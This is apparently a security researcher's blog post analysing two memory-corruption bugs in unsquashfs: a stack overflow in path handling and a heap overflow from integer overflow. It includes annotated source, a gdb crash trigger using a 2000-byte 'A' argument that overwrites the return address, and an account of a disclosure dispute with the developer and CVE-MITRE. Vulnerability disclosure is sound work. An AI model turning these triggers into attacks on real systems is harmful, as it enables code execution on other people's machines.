Kindly wait up till i get a mail from the application developer.
Here goes the complete analysis of the two bugs that I found in squashfs.
-= Analysis starts here =-
Vulnerability 1: (Read from the main() )
Basically any code path that leads to add_path() is vulnerable to stack
based buffer overflow. I am mentioned just one code path here(there exists
multiple)
Following is the PoC to trigger the first vulnerability.Code:/*code starts here */ /* vulnerable code because it reads between opening '/' and closing '/' without taking into consideration the length. Although Linux restricts directory length to be 255 characters, this makes no checks to see if it is a valid directory too. */ char *get_component(char *target, char *targname) { while(*target == '/') /*point to the first char other than '/' */ target ++; while(*target != '/' && *target!= '\0') /* read until '\0' or '/' */ *targname ++ = *target ++; *targname = '\0'; return target; //return the modified target } struct pathname *add_path(struct pathname *paths, char *target, char *alltarget) { char targname[1024]; /* fixed size static buffer */ ..... target = get_component(target, targname); //pass a fixed size buffer in targname whereas target is user controlled } int main(int argc,char *argv[]) { .... for(n = i + 1; n < argc; n++) path = add_path(path, argv[n], argv[n]); /* vulnerable code path */ .... } Here goes the analysis for vulnerability 2:(Read from main() ) /*code starts here */ /* These two global variables contain 256 by default, can be altered in the command line to cater to our needs */ /* these are user supplied */ int fragment_buffer_size = FRAGMENT_BUFFER_DEFAULT; int data_buffer_size = DATA_BUFFER_DEFAULT; void *queue_get(struct queue *queue) { ..... while(queue->readp == queue->writep) pthread_cond_wait(&queue->empty, &queue->mutex); data = queue->data[queue->readp]; /* get the data */ /* vulnerability occurs here from [1] and [2] , queue->size and the allocated memory in the heap are very different, according to the C standards, when performing a modulus , the sign on the result should the same as the sign of the dividend, so the negative sign in queue->size will not affect the result in any way, thereby writing past the allocated space in heap resulting in a heap oveflow */ queue->readp = (queue->readp + 1) % queue->size; ....... } void *reader(void *arg) { while(1) { /* vulnerable code path */ struct cache_entry *entry = queue_get(to_reader); .... } struct queue *queue_init(int size) { .... /* struct queue { int size; int readp; int writep; pthread_mutex_t mutex; pthread_cond_t empty; pthread_cond_t full; void **data; }; */ /* consider the following situation considering the fact malloc()'s argument is an unsigned integer If size is 0xc0000010, then sizeof(void *) which is 4, multiplied by 0xc0000011 will give 0x44 because of overflow, notice that we control the 'size' parameter because it was derived from fragment_buffer_size and data_buffer_size which was user supplied. Lets consider it as [1] */ queue->data = malloc(sizeof(void *) * (size + 1)); /* [1] */ /* since queue->size is a signed integer, it will be a large negative number , this will aid us in the overflow, so let this be [2] */ queue->size = size + 1; /* [2] */ queue->readp = queue->writep = 0; /* initialised to zero */ /*vulnerable code path */ pthread_create(&thread[0], NULL, reader, NULL); .... } void initialise_threads(int fragment_buffer_size, int data_buffer_size) { ..... int all_buffers_size = fragment_buffer_size + data_buffer_size; /* it is possible for two unsigned int values to overflow when added together, can't be exploited though, still can cause error in the computation */ /* vulnerable code path */ to_reader = queue_init(all_buffers_size); to_deflate = queue_init(all_buffers_size); } int main(int argc,char *argv[]) { /* unsigned int block_size,block_log; struct squashfs_super_block { unsigned int s_magic; unsigned int inodes; unsigned int mkfs_time /* time of filesystem creation */; unsigned int block_size; /* concerned member variable */ unsigned int fragments; unsigned short compression; unsigned short block_log; /* concerned member variable */ unsigned short flags; unsigned short no_ids; unsigned short s_major; unsigned short s_minor; squashfs_inode root_inode; long long bytes_used; long long id_table_start; long long xattr_id_table_start; long long inode_table_start; long long directory_table_start; long long fragment_table_start; long long lookup_table_start; }; */ block_size = sBlk.s.block_size; /* data is just zero extended because of unsigned'ness */ block_log = sBlk.s.block_log; fragment_buffer_size <<= 20 - block_log; /* convert to bytes - some offset */ data_buffer_size <<= 20 - block_log; /* vulnerable code path starts here */ initialise_threads(fragment_buffer_size, data_buffer_size); }
(gdb) r lolcat.squashfs -ef /$(perl -e 'print "A" x 2000')/
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/sbin/unsquashfs lolcat.squashfs -ef /$(perl -e 'print "A" x 2000')/
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x008456d4 in getenv () from /lib/libc.so.6
(gdb) bt
#0 0x008456d4 in getenv () from /lib/libc.so.6
#1 0x008802ee in __libc_message () from /lib/libc.so.6
#2 0x0090f16d in __fortify_fail () from /lib/libc.so.6
#3 0x0090f11a in __stack_chk_fail () from /lib/libc.so.6
#4 0x0804ae40 in ?? ()
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()
#7 0x41414141 in ?? ()
#8 0x41414141 in ?? ()
#9 0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
#22 0x41414141 in ?? ()
The second vulnerability requires a crafted squashfs file image for it to work. The code is well commented. Comments are welcome. On a side note, the week had been kind of _fucked_ up truly since the developer felt that I harmed the reputation of the squashfs project. What happened was I sent him a mail regarding the vulnerabilities, waited for a week before I submitted them to CVE. The author who happened to see the mails (I sent him three mails actually ) didn't see fit to respond and suddenly when CVE ID's were assigned called me a trouble maker or whatever. I really thought I made a mistake of harming the reputation of a Open Source project by submitting it to CVE-MITRE, then CVE guys sent me a mail. Read the mail below..
Actually the author told me that I should have submitted it to the squashfs devel list, where it _will_ be made public whereas in CVE it wont be done so unless there is a fix issued. IMO, the author is the biggest hypocrite I have ever met, Have you guys experienced the same thing when reporting bugs? I mean the author keeps telling me the bugs are minor even when I show him the stack trace where eip=0x41414141.Most producers of software (open source or closed source) consider
reports of claimed vulnerabilities to be substantially different from
other bug reports, regardless of whether the claims are ultimately
considered correct. For example, many open-source projects
specifically do not want vulnerability reports to arrive through their
normal bug-tracking web sites. The squashfs home page says "Queries,
problems, etc. please send a message to the Squashfs mailing list, or
use the trackers available on the Squashfs sourceforge page" and also
says "The author can be contacted by email, phillip at
lougher.demon.co.uk or plougher at users.sourceforge.net." A large
fraction of experienced vulnerability reporters would interpret this
to mean that vulnerability reports should be sent to one of the two
specified e-mail addresses. This turns out to be an incorrect
interpretation. If the squashfs project wants their page to be
interpreted correctly more often, they should probably change the
first part to something like "Queries, problems, etc. please send a
message to the Squashfs mailing list, or use the trackers available on
the Squashfs sourceforge page. If there is a security bug, please only
use the Tracker, and be sure to mark the issue Private at the top of
the Add Artifact page."
And below is the URL released by CVE-MITRE to justify giving the two bugs of mine, CVE-IDS
Explanation Link
http://www.securelist.com/en/advisories/49995 . This contains the advisory.
I guess i need to thank "Vinnu" bro for all the motivation he gives me and having extraordinary faith in me. And also fb1h2s bro for helping me out (Hopefully I make it, still got my HR to go) and also to Anil bro for the recommendation. Hopefully everything turns out fine.
~Peace